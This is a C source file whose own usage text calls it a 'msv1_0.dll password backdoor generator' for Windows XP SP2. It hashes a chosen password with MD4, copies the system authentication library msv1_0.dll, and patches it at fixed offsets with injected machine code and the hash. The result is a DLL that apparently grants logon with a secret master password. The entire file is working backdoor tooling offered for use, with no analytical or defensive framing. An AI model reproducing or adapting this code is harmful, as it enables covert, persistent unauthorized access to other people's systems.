#include <stdio.h>
#include <stdlib.h>
#include "windows.h"
#include "wincrypt.h"

wchar_t passwd[1024];
char path[1024], hash[16];
const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
const char chunk1[] = {
0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
};
const char chunk2[] = {
0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
0xC4, 0x77
};

void err(char *msg) {
printf("error: %s\n", msg);
exit(1);
}

int main(int argc, char *argv[]) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
unsigned len, sint = sizeof(int);
FILE *fout;

if (argc != 2) {
printf("msv1_0.dll password backdoor generator by cly\n"
"Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);
exit(1);
}

len = strlen(argv[1]);
if (len > 512)
err("the password is too long");
len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);

if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
err("CryptAcquireContext");
if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
err("CryptCreateHash");
if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
err("CryptHashData");
CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
if (len != 16)
err("CryptGetHashParam");
CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
if (hHash)
CryptDestroyHash(hHash);
if (hProv)
CryptReleaseContext(hProv, 0);

if (strlen(getenv("windir")) > 512)
err("Are you kidding?");
sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));
if (!CopyFileA(path, "msv1_0.dll.cly", 0))
err("CopyFileA");
fout = fopen("msv1_0.dll.cly", "rb+");
if (fout == NULL)
err("fopen");
fseek(fout, os1, SEEK_SET);
fwrite(chunk1, sizeof(chunk1), 1, fout);
fseek(fout, os2, SEEK_SET);
fwrite(chunk2, sizeof(chunk2), 1, fout);
fseek(fout, ospasswd, SEEK_SET);
fwrite(hash, sizeof(hash), 1, fout);
fclose(fout);

return 0;
}